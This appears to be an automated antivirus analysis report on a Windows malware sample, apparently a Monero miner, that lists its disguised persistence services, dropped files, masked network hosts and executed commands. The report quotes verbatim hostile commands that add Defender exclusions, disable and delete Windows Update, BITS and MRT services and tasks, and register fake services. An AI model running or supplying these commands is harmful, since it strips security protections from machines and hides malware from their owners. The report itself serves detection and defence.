Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftEdgeUpdateTaskMachine_3aa5] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftEdgeUpdateTaskMachine_3aa5] 'ImagePath' = '%ALLUSERSPROFILE%\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe'
- [HKLM\SYSTEM\CurrentControlSet\Services\jmqzgwqsxy] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\zoahwvvcjr] 'ImagePath' = '<SYSTEM32>\svchost.exe -k wusvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\tghtvakszp] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\yoymwvbojp] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\aityzmhnrj] 'ImagePath' = '<SYSTEM32>\svchost.exe -k NetworkService -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\oeoajqda] 'ImagePath' = '%WINDIR%\TEMP\oeoajqda.sys'
- [HKLM\SYSTEM\CurrentControlSet\Services\RasConnectionManager_9d4d] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\RasConnectionManager_9d4d] 'ImagePath' = '%ALLUSERSPROFILE%MicrosoftWindowsSchCache\NetworkListService22e8.exe'
Creates the following services
- 'MicrosoftEdgeUpdateTaskMachine_3aa5' %ALLUSERSPROFILE%\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
- 'oeoajqda' %WINDIR%\TEMP\oeoajqda.sys
- 'RasConnectionManager_9d4d' %ALLUSERSPROFILE%MicrosoftWindowsSchCache\NetworkListService22e8.exe
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force
Injects code into
the following system processes:
- <SYSTEM32>\nslookup.exe
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\microsoft\network\diagnostics\73bf5f50\lockapphost14a02b.exe
- %WINDIR%\temp\__psscriptpolicytest_yxophhsw.21e.ps1
- %WINDIR%\temp\__psscriptpolicytest_azrf4ykx.5yp.psm1
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-32-657.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-32-942.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-33-099.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-33-379.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-33-478.dump
- %WINDIR%\temp\__psscriptpolicytest_mhsp24nz.ql0.ps1
- %WINDIR%\temp\__psscriptpolicytest_hytmojj1.t15.psm1
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-34-287.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-34-367.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-34-450.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-34-668.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-35-124.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-35-550.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-35-837.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-35-915.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-35-969.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-36-015.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-36-069.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-36-132.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-36-185.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-37-679.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-37-813.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-37-875.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-37-901.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-37-916.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-37-986.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-38-049.dump
- %WINDIR%\temp\content\4672-1928-powershell.exe-15-48-38-188.dump
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_qubf0huh.isy.ps1
- %WINDIR%\temp\__psscriptpolicytest_ypsvnxbl.aue.psm1
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-41-442.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-41-763.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-41-902.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-42-128.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-42-184.dump
- %WINDIR%\temp\__psscriptpolicytest_ue24mwlc.qo0.ps1
- %WINDIR%\temp\__psscriptpolicytest_mo2psutu.tow.psm1
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-42-427.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-42-478.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-42-559.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-42-724.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-43-150.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-43-477.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-43-546.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-43-710.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-43-763.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-43-848.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-44-229.dump
- %WINDIR%\temp\content\4876-4576-powershell.exe-15-48-44-316.dump
- %WINDIR%\temp\oeoajqda.sys
Deletes following files that it created itself
- %WINDIR%\temp\__psscriptpolicytest_yxophhsw.21e.ps1
- %WINDIR%\temp\__psscriptpolicytest_azrf4ykx.5yp.psm1
- %WINDIR%\temp\__psscriptpolicytest_mhsp24nz.ql0.ps1
- %WINDIR%\temp\__psscriptpolicytest_hytmojj1.t15.psm1
- %WINDIR%\temp\__psscriptpolicytest_qubf0huh.isy.ps1
- %WINDIR%\temp\__psscriptpolicytest_ypsvnxbl.aue.psm1
- %WINDIR%\temp\__psscriptpolicytest_ue24mwlc.qo0.ps1
- %WINDIR%\temp\__psscriptpolicytest_mo2psutu.tow.psm1
Moves itself
- from <Full path to file> to \:r
Network activity
Connects to
- 'po######public.nodies.app':443
- 'rp#.#entio.xyz':443
- 'po##.#upportxmr.com':443
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?9a##############
Other
- 'rp#.#entio.xyz':443
- 'po##.#upportxmr.com':443
UDP
- DNS ASK po######public.nodies.app
- DNS ASK rp#.#entio.xyz
- DNS ASK po##.#upportxmr.com
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\microsoft\network\diagnostics\73bf5f50\lockapphost14a02b.exe'
Executes the following
- '<SYSTEM32>\sc.exe' delete "MicrosoftEdgeUpdateTaskMachine_3aa5"
- '<SYSTEM32>\sc.exe' create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "%ALLUSERSPROFILE%\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"
- '<SYSTEM32>\sc.exe' start "MicrosoftEdgeUpdateTaskMachine_3aa5"
- '<SYSTEM32>\nslookup.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-O...
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\jmqzgwqsxy" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\zoahwvvcjr" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\tghtvakszp" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
- '<SYSTEM32>\sc.exe' config BITS start= disabled
- '<SYSTEM32>\sc.exe' stop BITS
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\yoymwvbojp" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\aityzmhnrj" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
- '<SYSTEM32>\svchost.exe'
- '<SYSTEM32>\sc.exe' delete "RasConnectionManager_9d4d"
- '<SYSTEM32>\sc.exe' create "RasConnectionManager_9d4d" binpath= "%ALLUSERSPROFILE%MicrosoftWindowsSchCache\NetworkListService22e8.exe" start= "auto"
- '<SYSTEM32>\sc.exe' delete "MicrosoftEdgeUpdateTaskMachine_3aa5"' (with hidden window)
- '<SYSTEM32>\sc.exe' create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "%ALLUSERSPROFILE%\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"' (with hidden window)
- '<SYSTEM32>\sc.exe' start "MicrosoftEdgeUpdateTaskMachine_3aa5"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-O...' (with hidden window)
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc' (with hidden window)
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop UsoSvc' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\jmqzgwqsxy" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\zoahwvvcjr" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f' (with hidden window)
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop wuauserv' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\tghtvakszp" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f' (with hidden window)
- '<SYSTEM32>\sc.exe' config BITS start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop BITS' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\yoymwvbojp" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f' (with hidden window)
- '<SYSTEM32>\sc.exe' config dosvc start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop dosvc' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\aityzmhnrj" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable' (with hidden window)
- '<SYSTEM32>\sc.exe' delete "RasConnectionManager_9d4d"' (with hidden window)
- '<SYSTEM32>\sc.exe' create "RasConnectionManager_9d4d" binpath= "%ALLUSERSPROFILE%MicrosoftWindowsSchCache\NetworkListService22e8.exe" start= "auto"' (with hidden window)
